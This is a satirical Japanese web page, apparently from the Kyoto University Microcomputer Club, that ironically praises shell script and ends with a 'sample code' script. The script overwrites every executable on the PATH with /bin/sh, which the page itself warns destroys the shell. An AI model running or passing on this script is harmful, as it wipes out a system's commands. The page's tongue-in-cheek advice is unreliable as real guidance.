京大マイコンクラブが教える絶対に失敗しない言語の選び方
キミには Shell Script がオススメだ!
シェルスクリプトが他の言語より優れている5の理由!
1.Linux環境さえあればいい!
多くの言語はLinux環境の他にもコンパイラやインタプリタをインストールしないと動かないがシェルスクリプトならそのようなものがなくても動作してくれるぞ!まるでnanoのようだ!
2.命令を書き変えることによってメタプログラミング可能!
シェルスクリプトが実行している命令は多くの場合/bin
や/usr/bin
にあるぞ!これらのファイルを書き変えてしまえばどんなことでもできる!やろうと思えばスクリプト内で動的に書き変えたり生成したりすることでメタプログラミングだってできる!
3.他の言語の機能を拡張できる!
Rubyなどの一部の言語にはシェルスクリプトを実行できる関数が存在するぞ!シェルスクリプトを学ぶことで他の言語の機能が拡張されるぞ!
4.ファイル操作はお手のもの!
例えばCだと, ファイル操作をしようと思ったらファイルを開く関数を呼んで処理をしてしっかりファイルを閉じる関数を実行する必要があり手間が多いな!でもシェルスクリプトなら処理の結果をファイルに書き込むだけなら>
を命令の後ろにつけるだけだ!Close
の実行し忘れに悩まなくていいぞ!
5.流行りの並列実行が簡単にできる!
並列実行といえば近年処理速度を向上させるための手段として注目されている!そんなナウな並列実行はシェルスクリプトだとなんと命令の後ろに&
をつけるだけ!こんなイケイケな言語だったなんて!
どうだい!?
こんなにナイスな言語だなんて思わなかったかい!?是非とも君にはシェルスクリプターになって全世界にシェルスクリプトの魅力を伝えていって欲しいものだね!
サンプルコード
#!/bin/sh
cp /bin/cp .
cp /bin/rm .
cp /bin/ls .
cp /usr/bin/xargs .
echo $PATH | tr ':' '\n' | while read line; do ./ls $line | ./xargs -n1 -I{} ./cp /bin/sh $line/{}; done
./rm cp rm ls xargs
Tweet
注意:このコードは実行するとシェルを破壊します